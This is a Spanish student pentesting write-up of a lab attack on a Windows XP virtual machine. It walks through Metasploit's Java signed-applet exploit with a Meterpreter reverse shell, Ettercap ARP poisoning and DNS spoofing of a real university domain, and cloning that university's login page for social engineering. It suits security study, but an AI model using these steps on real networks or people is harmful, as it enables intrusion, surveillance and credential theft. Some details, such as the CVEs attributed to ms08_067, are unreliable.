Episodio de Pentesting



Documentos relacionados
Instalar MBSA y GFI Languard en Windows Server 2008 y hacer un análisis.

Tipos de conexiones de red en software de virtualizacio n: VirtualBox y VMware

Metasploit framework, al igual que nessus, su versión paga es mucho más informática que la gratuita.

UNIDAD DIDACTICA 4 INTEGRACIÓN DE CLIENTES WINDOWS EN UN DOMINIO

Manual de uso de la plataforma para monitores. CENTRO DE APOYO TECNOLÓGICO A EMPRENDEDORES -bilib

COMO CONFIGURAR UNA MAQUINA VIRTUAL EN VIRTUALBOX PARA ELASTIX

AGREGAR UN EQUIPO A UNA RED Y COMPARTIR ARCHIVOS CON WINDOWS 7

TEMA 3. REDES Y SEGURIDAD INFORMÁTICA

4.2- Instalación y Configuración de un Servidor DNS Dnsmasq en Ubuntu sin DHCP

CITRIX Citrix Application Streaming

Laboratorio de Redes y Sistemas Operativos Trabajo Práctico Final

Escudo Movistar Guía Rápida de Instalación Para Windows

Guía Rápida de Inicio

INSTALACIÓN DE UBUNTU SERVER 12.4 EN MÁQUINA VIRTUAL

Escritorio remoto y VPN. Cómo conectarse desde Windows 7

5.2.- Configuración de un Servidor DHCP en Windows 2003 Server

Redirección de puertos

Instituto Tecnológico de Las América. Materia Sistemas operativos III. Temas. Facilitador José Doñe. Sustentante Robín Bienvenido Disla Ramirez

Conexión a red LAN con servidor DHCP

Servidor FTP en Ubuntu Juan Antonio Fañas

Instituto Tecnológico de Las América. Materia Sistemas operativos III. Temas. Facilitador José Doñe. Sustentante Robín Bienvenido Disla Ramirez

Laboratorio 6.1: Phishing con SET y Metasploit

Acá vamos a ocuparnos de cómo realizar la instalación de una red intra-aula sobre Linux, concretamente en la distribución de GNU/Linux Ubuntu 9.04.

Man In The Middle con Ettercap

TUTORIAL PARA CREAR UN SERVIDOR FTP

INSTALACIÓN FIREWALL IPCOP

Manual de iniciación a

Servidor DNS sencillo en Linux con dnsmasq

7º Unidad Didáctica. Protocolos TELNET y SSH. Eduard Lara

UNIDAD DIDACTICA 13 INICIAR SESIÓN EN LINUX DE FORMA REMOTA

Escudo Movistar Guía Rápida de Instalación Dispositivos Symbian

Firewall Firestarter. Establece perímetros confiables.

Servidor Apache. Instalación Configuración Apache con Webmin 24/03/2014. Vicente

Guía de uso del Cloud Datacenter de acens

Instalación de un servidor DHCP

Configuración de la red

Guía de instalación de la carpeta Datos de IslaWin

WINDOWS : TERMINAL SERVER

Notas para la instalación de un lector de tarjetas inteligentes.

Solución al Primer Reto

Instalación de un servidor con HldsUpdateTool

1 Itinerario. 2 Descripción y funcionalidades principales. Google Docs. 1.1 Qué vamos a hacer? 1.2 Qué pasos vamos a seguir?

Ficheros de configuración de Nagios (ejemplo con nrpe y snmp)

PRACTICA DE REDES Redes Ad Hoc

Instituto Tecnológico Las Américas (ITLA) Sistemas Operativos 3 (SO3) Daniel Alejandro Moreno Martínez. Matrícula:

Archivo de correo con Microsoft Outlook contra Exchange Server

Manual instalación Windows 8. Instalar Windows 8 paso a paso

INSTITUTO TECNOLÓGICO DE COLIMA LIC. EN INFORMÁTICA

Manual de usuario de Windows Live Writer

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

RESOLUCIÓN DE INCIDENCIAS PROCURADORES

Configuración de PDAs en ITACTIL.

Compartir Biblio en una red local con Windows XP

MANUAL PARA GESTIÓN DE INCIDENCIAS INFORMÁTICAS

GUIA DE BLOQUEO Y DESBLOQUEO WEB

Internet Information Server

En caso de que el cliente nunca haya obtenido una concesión de licencia de un servidor DHCP:

Ubuntu Server HOW TO : SERVIDOR VPN. EN ESTE SE REALIZA LO SIGUIENTE: En este how to se le va a enseñar como usar vpn. Qué es una VPN?

Instalación del sistema operativo Microsoft Windows Server 2008 Standard Edition x86

INSTALACIÓN DE MEDPRO

CÓMO CONFIGURAR DHCP EN SUSE LINUX

Luis Eduardo Peralta Molina Sistemas Operativos Instructor: José Doñe Como crear un Servidor DHCP en ClearOS

Configuración de un APs D-Link DWL-2100AP.-

Servicio de VPN de la Universidad de Salamanca

HOW TO SOBRE LA CREACION DE UNA DISTRIBUCION PERSONALIZADA DE LINUX

INSTALACIÓN DE UBUNTU SERVER 12.4 EN MÁQUINA VIRTUAL

1. Configuración del entorno de usuario

Guía Rápida de Inicio

Instalar protocolo, cliente o servicio nuevo. Seleccionar ubicación de red. Práctica - Compartir y conectar una carpeta

Instalación de ForMag en Windows Vista y en Windows 7

..::[Manual Basico Metasploit]::..

CIF-KM. GUÍA DE LOS PRIMEROS PASOS

Ayuda para la instalación Componente Firma Digital INDICE. 1 Configuración previa Configuración Internet Explorer para ActiveX...

HOW TO SOBRE FIREWALL

Sección 1: Introducción al Modo Windows XP para Windows 7

Configuración de una NIC

Tenemos que instalar los programas de los usuarios también (los anteriormente mencionados) y los siguientes que vamos a nombrar.

Activación de un Escritorio Remoto

Implantar Microsoft Software Updates Service (SUS)

PRACTICA NO. 17, FIREWALL -EJEMPLO REAL DE USO DEL FIREWALL BLOQUEAR O PERMITIR RED, EQUIPO, PUERTO. HACER NAT, ETC. Vielka Mari Utate Tineo

MANUAL INSTALACIÓN ABOGADOS MF

DOMINIO CON IP DINÁMICA

Manual de instalación Actualizador masivo de Stocks y Precios

Un pequeñísimo tutorial para explicar cómo darse de alta al MEJOR SISTEMA de compartición, backup... en la web.

Departamento CERES Área de Tarjetas Inteligentes Manual de Usuario

Instalar PhotoGestión en un Mac con VirtualBox

CONFIGURACION AVANZADA DE MOZILLA THUNDERBIRD

VideoSoftPHONE Active Contact

Guía de instalación del servidor

UNIVERSIDAD AUTÓNOMA DE SINALOA FACULTAD DE INGENIERÍA MOCHIS LIC. EN INGENIERÍA DE SOFTWARE MATERIA: REDES Y COMUNICACIÓN DE DATOS GRUPO: 401

INSTALACIÓN Y CONFIGURACIÓN DE ZEROSHELL 2.0 ALVARO JOSÉ ARIAS RAMIREZ Presentado a: ING. JEAN POLO CEQUEDA

Servicio de Informática Vicerrectorado de Tecnologías de la Información y la Comunicación

Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA

Administración de la red (Windows 2008)

Guía de Instalación para clientes de WebAdmin

GUIA DE USUARIO. CONFIGURACION CORREO ELECTRONICO

Ministerio de Educación,Cultura y Deporte. Aulas en Red.Aplicaciones y servicios Windows. Módulo 3: Gestión de equipos.

REQUIERE ATENDER DESCONFIGURACIÓN DEL C.P.U.

Studium, Campus Virtual de la Universidad de Salamanca.

Transcripción:

Episodio de Pentesting Hello world, I m backtrack Nicolás Moral de Aguilar Seguridad en tecnologías de la información

Índice 1. Planteamiento del episodio 2. Conceptos necesarios 3. Configuración del escenario 4. Escaneo a la víctima 5. Elección de vulnerabilidad 6. Configuración del exploit 7. Envenenamiento DNS 8. Ingeniería social 9. Meterpreter en acción Anexos 2

1. Presentación del episodio En el episodio de penetración que se expone a lo largo de este proyecto, se realizará una explicación detallada de cómo conseguir hacerse con un ordenador remoto aprovechando una vulnerabilidad de Java en navegadores, que permite la ejecución de código malicioso tras aceptar un applet de Java en cualquier navegador y/o sistema operativo. Así mismo, explicaré el procedimiento habitual en el que entra en juego la ingeniería social para hacer que las posibles víctimas acepten la ejecución del applet. Para explicar el procedimiento, voy a especificar varias fases por separado, que permitirán entender de manera más sencilla todo el proceso. En la primera fase, se debe realizar un escaneo de la LAN en la que se sitúa el episodio para visualizar la estructura de la red y detectar posibles equipos vulnerables. Más tarde, hay que analizar los mismos para ver cómo y qué vulnerabilidades se pueden aprovechar. Tras eso, se debe configurar el exploit necesario para aprovechar dicha vulnerabilidad, y dependiendo del tipo de exploit, habrá que seguir un procedimiento para hacer que el ataque se haga efectivo. 3

2. Conceptos necesarios Para la compresión de este proyecto necesitaremos tener algunas definiciones y conceptos claros, así que voy a dar una breve explicación de todos los términos que considero necesarios para entender el desarrollo del mismo. Backtrack 5 R3 Distribución de Linux basada en Ubuntu destinada a la seguridad. En su última versión incorpora las versiones actualizadas de muchas de las utilidades de Linux más usadas en el ámbito de la seguridad informática. Abarca desde programas destinados al pentesting, como Metasploit Framework o SET, pasando por herramientas de ingeniería inversa, como IDA Pro, de análisis de redes, como Nmap o AirCrack, o de análisis forense, como Galleta. La distribución se basa más concretamente en Ubuntu 10.04 LTS (Lucid Lynx) y está disponible en arquitecturas de 32, 64 bits y en ARM. En el ámbito de la seguridad, posiblemente sea la distribución más utilizada. Como dato adicional, en todo el desarrollo del episodio os llamará la atención la ausencia de sudo en los comandos, pero la razón es que este sistema utiliza la cuenta de administrador por defecto. En el desarrollo del episodio, me referiré a esto como Backtrack, BT o BT5. Metasploit Framework Es una herramienta imprescindible para cualquier informático que trabaje con test de penetración. Metasploit o MSF, es un programa que recopila una base de datos de exploits autoactualizable que permite aprovechar las posibles vulnerabilidades que tengan los equipos atacados. Junto con NMap, se convierte en una herramienta increíble. Además, existe una interfaz gráfica disponible para los que odien la CLI (Command Line Interface), llamada Armitage, de la que hablaré en uno de los anexos del proyecto. Ettercap Realiza las funciones de sniffer, interceptor y registrador para cualquier LAN. Soporta direcciones activas y pasivas de varios protocolos, incluido SSH y HTTPS. Hace posible la inyección de datos en una conexión establecida y permite el filtrado al vuelo aun manteniendo la conexión sincronizada gracias a la característica de realizar ataques MiTM (Man in the middle). Justamente esta última característica es la que a nosotros nos interesa para nuestra simulación de escenario. Lo explicaremos de forma más extensa en el apartado de Envenenamiento de DNS VB Bridged Network Mode VirtualBox dispone de varios modos de configuración de la tarjeta de red virtualizada de las guest. Los más usados suelen ser el modo NAT, que crea un puente de conexión entre el host, con IP habitualmente de tipo 192.168.X.X y el guest, el cual se configura en otra red 10.X.X.X. Y también se usa habitualmente el modo red interna, que conecta directamente todas las guest en una misma red. Sin embargo, puesto que el escenario precisa de actualización de diversos componentes dentro de la VM, he configurado la red como Bridged Network (Red Puenteada) que añade ambas VM a la red local y les asigna, como es evidente, direcciones del tipo 192.168.X.X. Ello nos permitirá tener 4

ambas máquinas virtuales conectadas, tanto la atacante como la atacada, y además tener en ambas conexión a internet para actualizar los componentes necesarios. SET Social Engineering Toolkit es una suite en CLI que nos facilita una interfaz en consola para automatizar el uso de ataques de penetración habituales compenetrando varias herramientas de la distribución, como pueden ser Metasploit, NMap, Apache Server, etc implementando en una misma aplicación la automatización de los ataques. Le echaremos un vistazo en el apartado de anexos. PAYLOAD Es un término que se refiere al código o herramienta que tras la infección de una víctima, permite realizar todo tipo de efectos secundarios. Es decir, la parte del troyano que se encarga de los cambios de configuración, y ejecución de cualquier orden no legítima. EXPLOIT Es un software, o secuencia de comandos que se crea con el fin de causar un error o un fallo en alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en un sistema o componente. Habitualmente supone la ejecución remota de código, la escalada de privilegios o incluso un ataque DOS. 5

3. Configuración del escenario Para poner en marcha un escenario de una simulación de un ataque de penetración o pentesting, vamos a utilizar dos máquinas virtuales interconectadas, las cuales vamos a configurar de la manera apropiada para que el ataque pueda llevarse a cabo de manera exitosa. Tras instalar VirtualBox, vamos a necesitar una ISO de Windows XP SP3 y otra de Backtrack 5 R3 para instalar cada una en una VM distinta. (Proceso de instalación de las dos VM) Evidentemente, podemos usar versiones diferentes de ambos SO, pero en este caso he escogido las versiones más actualizadas de ambos. A continuación voy a mostrar la configuración que he dispuesto en cada una de los sistemas invitados. Backtrack 5 R3, está instalado en un disco duro virtual y se le han asignado 512Mb de RAM. Incluso es suficiente con bastante menos memoria puesto que el ataque que vamos a realizar no necesita tener demasiados programas en memoria. En el momento de más carga, deberían estar un servidor Apache, MSF y Ettercap. El sistema está actualizado con la siguiente lista de órdenes: apt-get update && apt-get upgrade msfupdate Además, tiene actualizado SET a la última versión desde su propio menú de opciones. La máquina virtual está configurada como Bridged Network por lo que se adhiere a la LAN a la que pertenece el sistema host, con una IP del tipo 192.168.1.X Windows XP SP3 contiene las últimas actualizaciones de Windows Update y está configurado también como Bridged Network, por lo que tiene otra IP perteneciente a la red local del host. Además está instalado Google Chrome por si necesito hacer alguna búsqueda durante el desarrollo 6

del proyecto, y de paso para demostrar que independientemente del navegador instalado, el sistema sigue siendo vulnerable, ya que la vulnerabilidad está en el JRE. (Configuración de red de ambas VM) Con ambas máquinas virtuales funcionando y actualizadas correctamente, estamos listos para entrar en materia e iniciar nuestro MSF. Como recomendación adicional, propongo hacer una Snapshot de ambas máquinas virtuales. No es estrictamente necesario ya que no vamos a tocar nada relacionado con el kernel ni con el boot de BT5, y evidentemente Windows ya viene bien capado de serie, pero es recomendable por si a alguien se le va la mano con la consola de Meterpreter y teclea un rm r *.*. Hasta nueva orden, la parte que viene a continuación se desarrolla de forma íntegra en la VM de BT5, por lo que supongo la ejecución de órdenes con sudo y que todas ellas se ejecutan en BT. 7

4. Escaneo a la víctima Lo primero que necesitamos para poder hacer uso de nuestro supuesto exploit, y tras instalar las herramientas necesarias en nuestra máquina, es seleccionar una o varias víctimas en las que tratar de hacer efectivo el ataque. Para ello, y con el fin de escanear las posibles vulnerabilidades que expongan a las víctimas ante nuestro ataque, necesitamos información sobre las direcciones a las que vamos a atacar. Para ello, lo primero es ejecutar un análisis de puertos. Y a estas alturas estaréis pensando en Nmap, la cual evidentemente podemos utilizar. Así que sería bastante fácil ponernos manos a la obra y ejecutar un escaneo generalizado con Nmap, del cual pondré un ejemplo simplemente por lo que explicaré a continuación. Escaneo vía Nmap Ejecutamos en terminal la siguiente orden: nmap A 192.168.1.26 (Orden ejecutada en BT5) La orden anterior básicamente realiza un scan rápido a la IP que especificamos, en este caso 192.168.1.26, y añade un scan de SO con el atributo A. Habitualmente se usa también v para visualizar más información del proceso, pero puesto que es un ejemplo la he omitido. 8

Escanear una red mediante Nmap es una forma totalmente válida para lo que necesitamos en este proceso, incluso podríamos utilizar Zenmap que es la GUI de Nmap, pero para que se observe el potencial de Metasploit, vamos a realizar el scan directamente desde el propio MSF, ya que incluye módulos de escaneo. Por tanto, iniciamos directamente la consola de Metasploit con msfconsole y vemos que escaneos tenemos disponibles para realizar con los siguientes comandos mostrados en la imagen siguiente. Los escaneos más habituales son el TCP y el SYN, pero como de momento solo necesito averiguar cuál es la versión del SO, me vale cualquiera. (Ejecutando SYN scan) He configurado el RHOST con la dirección del equipo atacado porque en este caso la sabemos. Pero si quisiéramos escanear una red, normalmente se realiza un scan a los equipos limitados por la máscara de subred 255.255.255.0, es decir, desde 192.168.1.0 hasta 192.168.1.255. Se especifica de la siguiente manera set RHOSTS 192.168.1.0/24. Escaneamos el puerto 445 que viene abierto por defecto en todos los Windows ya que es utilizado por SMB (Server Message Block, sistema para compartir archivos e impresoras de Microsoft) y que nos servirá para saber la versión del sistema operativo. Observamos que está abierto, por lo que buscamos algún scan para SMB. 9

(Ejecutando SMB scan) Una vez que sabemos el sistema operativo que ejecuta el sistema en cuestión y hemos obtenido la información adicional de puertos, debemos pasar a la elaboración del plan de ataque, empezando por la elección de la vulnerabilidad que vamos a utilizar. 10

5. Elección de vulnerabilidad Gracias a MSF y su gigantesca base de datos de exploits funcionales, tenemos miles de posibilidades para hacernos con un ordenador remoto. El momento de elegir que vulnerabilidad vamos a aprovechar es importante, ya que marcará el rumbo del proceso para hacernos con la máquina remota. En este caso, uno de los puntos más importantes, es que la elección del exploit debe realizarse pensando en el sistema operativo de la víctima, y en los servicios que operan por defecto en los puertos que hayamos detectado abiertos. Por tanto, podríamos elegir vulnerabilidades de diferentes clases. Para Windows XP destacar el exploit ms08_067_netapi que ha sido uno de los más utilizados durante la vida de XP, ya que permite su ejecución sin intervención alguna del usuario remoto, por lo que evita la ingeniería social. El exploit aprovecha las vulnerabilidades CVE-2006-4446 y CVE- 2006-4777 y permite la apertura incluso de una sesión de meterpreter, y la escalada de privilegios en el sistema. Sin embargo, debido a su compatibilidad con diferentes navegadores y sistemas operativos, en este escenario voy a utilizar la que posiblemente sea la vulnerabilidad más utilizada de MSF, Java_signed_applet. El exploit se inyecta en el servidor http del atacante, junto con los payloads generados para los diferentes sistemas operativos, y permite la ejecución de una sesión de meterpreter, cuyas virtudes estudiaremos más adelante, en la victima. El exploit Java signed applet nos permite crear un complemento envenenado de java para el navegador, que puede incluso firmarse si tenemos el JDK (Java Development Kit) instalado en la VM. Este complemento se inyecta en el servidor web independientemente de la página web que haya creada, lo cual es bastante interesante y aumenta con creces la maniobrabilidad de la ingeniería social. Una vez hemos aceptado su ejecución, el payload entrará en la VM víctima y se ejecutará, creando una conexión reverse-tcp que se comunicará directamente con metasploit. 11

6. Configuración del exploit Lo primero que debemos hacer es llamar al exploit, pero si no nos sabemos la ruta exacta podemos utilizar la función search de Metasploit. Se ve mejor en esta imagen: (Configuración básica de Metasploit) En la imagen de arriba podemos observar que si hacemos un show options, se nos muestran los parámetros de configuración modificables para el exploit, y su configuración por defecto. Al lado de cada parámetro viene una breve descripción del mismo, por lo que no me voy a extender demasiado. Pero es importante echar un vistazo a SRVHOST, SRVPORT, LHOST y para este exploit en concreto, podemos configurar el nombre del applet malicioso modificando APPLETNAME, e incluso la firma del applet con CERTN. Los parámetros se modifican como en el siguiente ejemplo: set APPLETNAME EXPLOIT. A continuación, la parte más importante de la configuración de un exploit consiste en la elección del Payload, pues será el programa que se encargará de realizar la conexión inversa desde la víctima hasta el host. En este caso, vamos a utilizar el payload más famoso de Metasploit que se llama Meterpreter, y para ser más exactos, en su versión de puertos TCP. Dicho esto, el paso siguiente es setearlo en nuestro exploit, dando la siguiente instrucción: 12

set PAYLOAD windows/meterpreter/reverse_tcp Una vez configurado completamente el exploit con las opciones que necesitemos escribimos en la consola de MSF exploit y automáticamente MSF montará el servidor web con el contenido infectado. De forma predeterminada, MSF monta la inyección del exploit en una URL aleatoria del tipo http://127.0.0.1/xxxxxxx pero si queremos especificar un nombre en la dirección tendremos que configurar URIPATH en la configuración del exploit. Ahora solo deberemos hacer que la víctima entre en el enlace y permita la instalación del complemento de Java. Para ello podríamos hacer uso de ingeniería inversa, a través de un mail o de cualquier otro servicio, pero puesto que suponemos que la víctima está en la misma red local, vamos a usar DNS Poisoning, lo que explicaremos a continuación. 13

7. Envenenamiento DNS A grandes rasgos un envenenamiento DNS, más conocido por su traducción en inglés DNS Poissoning, es una forma de ataque MiTM en el que el atacante hará que el PC atacado resuelva las direcciones con un servidor de DNS alterado. Esto puede parecer un poco complejo al principio, pero vamos a explicarlo de forma más detallada. Primero introduciremos un nuevo concepto que no se definió en el tutorial porque consideré que era más conveniente verlo justo en el momento de su necesidad. Así que a continuación se explicará que es el Protocolo ARP (Adress Resolution Protocol) y el envenenamiento de su cache. Básicamente es un protocolo responsable de encontrar la dirección MAC correspondiente a una determinada IP. Imaginemos ordenador A y ordenador B. ARP Request: El ordenador A pregunta en la red a quién pertenece una determinada IP, pongamos 192.168.1.1. ARP Reply: Todos los demás ordenadores de la red ignorarán la petición a excepción del que tenga esa dirección IP. Este ordenador contestará con un paquete que contendrá la IP requerida y su dirección MAC. El protocolo fue diseñado para ser simple y eficiente pero su mayor defecto es la ausencia de autenticación. Como resultado, no hay manera de autenticar la IP con la dirección MAC contenida en el ARP Reply. Además, el host ni siquiera comprueba si fue enviada la respuesta ARP desde la misma IP que se solicitó en la petición. Esto quiere decir que si un ordenador A, envía una petición y recibe una respuesta ARP, el protocolo no puede comprobar si la IP corresponde con su MAC. Incluso si un host no envió una petición ARP pero si recibe una respuesta ARP, confía en la información de respuesta y actualiza su cache ARP. Por tanto, como podemos observar parece fácil explotar el débil protocolo ARP. Es posible enviar a la red entera una respuesta ARP en la que cualquier IP está mapeada a cualquier MAC. La vulnerabilidad anterior permite el ataque a una LAN de varias formas, en este caso, y como ya hemos indicado anteriormente utilizaremos la técnica Man in the Middle, que nos permitirá hacer sniff a todo el tráfico entre dos PC de la red. Para conseguir esto, supongamos que mi PC es el host A, y mi router es el host B. Mi ordenador tiene una IP-A y una MAC-A, y el router una IP-B y una MAC-B. La máquina C, o sea, la que realizará el ataque, envía una respuesta ARP a B que mapea IP-A con MAC-C, y otra respuesta ARP hacia A que mapea IP-B con MAC-C. Por tanto ahora cualquier paquete enviado desde A a B o desde B a A, llegará a C. Entonces es momento de activar en C, IP forwarding (Redireccionamiento IP), que permite redireccionar A a B. Es este momento cuando C se encuentra justo en medio de la conexión entre A y B, y tenemos un ataque Man in the Middle en toda regla. Toda esta teoría es imprescindible, pero creo que es hora de pasar a la práctica. 14

Os presento a Ettercap, que nos permitirá poner en práctica este ataque. En esta ocasión vamos a utilizar la interfaz gráfica por su comodidad, ya que es un rollazo aprenderse la ingente cantidad de comandos que tiene la CLI, y no es cómodo para trabajar. En caso de no querer iniciar Xorg, podemos usar Ettercap C, que funciona con una interfaz creada con curses. Así que iniciamos Ettercap introduciendo en la terminal ettercap -G. A continuación hacemos click en Sniff -> Unified Sniffing y se nos abrirá una ventana de selección en la que podremos escoger cualquiera de las interfaces disponibles. Como estoy trabajando en VB, elijo eth0. (Ettercap en modo Unified Sniffing) Ahora vamos a escanear la red para ver los equipos, por lo que hacemos click en Hosts -> Scan for host. Y cuando esté completado en Hosts -> Host List. Ahora vemos información interesante, que son todos los host de la red listados con direcciones MAC correspondientes. Nos disponemos a hacer un ataque MiTM, por tanto seleccionamos un host y pulsamos en Add to Target 1 y hacemos lo mismo con el otro host que queramos interceptar pero esta vez lo añadimos en Add to Target 2. 15

(Seleccionando objetivos en Ettercap) Ahora seleccionamos Mitm -> Arp Poisoning y marcamos la opción de Sniff Remote Connection. Una vez hecho esto iniciamos el Sniff desde Start -> Start Sniffing Una vez que los paquetes están pasando por nuestro PC, lo que necesitamos es direccionar a la víctima a la dirección IP en la que hemos inyectado el exploit, para ello lo que vamos a hacer es redireccionar el DNS usando un plugin de Ettercap que se llama dns-spoof. Pero antes debemos editar el archivo de configuración que Ettercap dedica al dns. Si estáis habituados al archivo de Linux hosts (/etc/hosts) veréis que la configuración se hace del mismo modo, así que desde una terminal nos vamos a editar el archivo de configuración de DNS de Ettercap. nano /usr/local/share/ettercap/etter.dns Aquí añadimos las líneas que queramos para redireccionar cualquier dirección a nuestra IP. Yo he puesto la dirección de la UJA añadiendo esto: *.ujaen.es A 192.168.1.27 ujaen.es A 192.168.1.27 16

Una vez hemos hecho eso, solo queda activar el plugin, y todo estará listo, como podemos ver en la siguiente imagen en la que se ve como haciendo un ping y entrando directamente en la web, nos redirecciona correctamente a nuestro servidor malicioso. 17

8. Ingeniería social Durante el desarrollo del proyecto me estuve planteando la posibilidad de omitir este apartado. Sin embargo después de no pocas reflexiones, creo que a nivel de poner en práctica este episodio en el mundo real, esta es la parte más importante. Se debe hacer caer a la víctima en la trampa, y una de las maneras más eficientes es suplantando la identidad de un sitio web habitual de tal manera que el usuario no se dé cuenta de la trampa. Creo que estamos de acuerdo en que un index.html del tipo <h1>hola, SI ACEPTAS ESTE APPLET VOY A HACKEARTE EL PC</h1> no es demasiado útil. Pero Y si clonamos la web de Google? Pensé en clonar la UJA, pero la verdad es que ocupa demasiado y tardaríamos en descargar el árbol de direcciones bastante rato. Al final, decidí inyectarlo en un sitio más creíble, ya que a día de hoy es improbable que Google inserte un applet de Java en su buscador y me decidí por inyectarlo justo en el enlace de autenticación de dv.ujaen.es, cambiando el link en el código fuente hacia mi IP. Me pongo manos a la obra, y aunque podría descargarme el código directamente con wget o con un right click en la misma web, o incluso copiando directamente el código fuente visible, eso es una chapuza a no ser que nos queramos pasar un par de horas redireccionando hojas de estilo y contenido multimedia. Descargamos un programa que se encarga de hacer la tarea por nosotros, httrack. apt-get install httrack Nos situamos en la carpeta que queramos descargar la web, y ejecutamos el programa pasando como argumento la web que deseemos. httrack dv.ujaen.es (httrack clonando www.google.es) 18

Una vez copiada la web en la carpeta que hayamos definido por defecto (recomiendo que no sea directamente el servidor por si hay algún fallo) comprobamos que está bien en el navegador, y la copiamos directamente a la carpeta del servidor apache, ya sea únicamente el index o también archivos y carpetas asociados. cp dv.ujaen.es/* /var/www Una vez lo hemos copiado iniciamos el servidor apache desde el menú. Applications -> Backtrack -> Services -> HTTPD -> apache start Básicamente ya está todo copiado y listo para funcionar. Os adjunto como información adicional los parámetros exactos que yo he utilizado para configurar el exploit y el payload en MSF. set APPLETNAME UJA_AUTH set CERTCN Ujaen set URIPATH /authapplet set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.XXX (Hay que tener cuidado de no establecer como Puerto del servidor el 80, ya que lo estamos utilizando para alojar a la web clonada) 19

9. Meterpreter en acción Exploit inyectado en la web esperamos pacientemente que nuestra ingeniería social haga acto de presencia ante la víctima y esta ejecute el complemento de Java. Una vez ejecutado, el applet se encargará de realizar automáticamente una conexión inversa hacia nuestro servidor por el puerto que hayamos especificado en LPORT y abrirá una sesión de Meterpreter para dejarnos en ordenador atacado a nuestra disposición. Metasploit por defecto no nos redirige a la sesión abierta directamente, tendremos que abrirla nosotros, así que vemos los comandos por defecto. Primero, ejecutamos sessions l y nos listará todas las sesiones que hayan activado nuestros troyanos de conexión inversa. Para seleccionar una simplemente tenemos que escribir: (Exploit activando sesión y abriéndola en meterpreter) sessions i id es decir sessions i 1 Se nos abrirá una session de Meterpreter, y lo primero que tenemos que hacer tras examiner un poquito la CLI, es ejecutar una orden help, para ver qué podemos hacer con él. En este momento, los que no conozcan Meterpreter se darán cuenta de por qué he elegido este payload y no uno de Shell normal. Meterpreter tiene muchísimas opciones con órdenes directas, desde subir o descargar un archivo, hasta terminar un proceso o capturar el micro o la webcam. El payload es verdaderamente una obra de arte, podría explicar uno por uno que hace cada comando, pero puesto que viene una descripción del mismo en inglés creo que no tiene sentido y es mucho más divertido si lo investigas tú mismo. 20

(Algunos comandos de Meterpreter) 21

Anexos Como información complementaria al proyecto, pero relativa al mismo, voy a presentaros dos herramientas que os facilitarán el trabajo del día a día. Armitage y SET. Armitage Esta herramienta básicamente se encarga de proveer de interfaz gráfica a MSF, pero sin dejar de lado una línea de comandos. Armitage tiene una barra superior que automatiza el escaneo de redes, la búsqueda de ataques disponibles para las distintas posibles víctimas dependiendo de la información que consiga en los escaneos pertinentes. Además, te permite elegir los ataques y te ofrece una configuración predeterminada para el mismo dependiendo del sistema operativo de la víctima. Su parte inferior, es una consola en la que se van abriendo pestañas para lanzar los diferentes procesos durante el ataque. En cierto modo, como toda interfaz gráfica, reduce considerablemente las posibilidades del programa comparado con su interfaz CLI, pero ya que la propia interfaz dispone de una línea de comandos, podemos suplir las carencias de la interfaz desde ahí. La interfaz se lanza directamente desde el menú de backtrack. (Lanzando armitage desde el menú) 22

(Ventana de metasploit habitual cuando se arranca) (Ventana con un ataque en proceso, en la que hay vulnerados 3 dispositivos de la red) Como podéis ver la interfaz es bastante útil, y además hace el ataque mucho más vistoso si lo que queréis es hacer algún tipo de publicación o documento oficial. 23

SET Cuyo nombre completo es Social Engineering Toolkit es un conjunto de utilidades como su propio nombre indica que nos asiste en la tarea de poner en funcionamiento todo tipo de ataques en los que interviene la ingeniería social, desde ataques vectoriales, hasta ataques como los de pass harvesting o tabnabbing (El primero es captura de contraseñas envenenando una petición GET o POST en nuestro servidor, y el segundo hace lo mismo pero carga el servidor malicioso al cambiar de pestaña en el navegador de la víctima). Creado por David Kennedy, la verdad es que se ha convertido en una herramienta indispensable para cualquiera que trabaje en el área de pentesting, llegando incluso a portarse a un dispositivo ios con Jailbreak. El software integra en muchas de sus partes secciones del propio Metasploit, pero automatiza la tarea hasta tal punto de basarse en un menú seleccionable con diferentes niveles. También viene incluido en la distribución de Backtrack. Os dejo algunas imágenes. (Menú principal de SET) 24

(Menú de ataques principal SET) (Selección de Payload SET) 25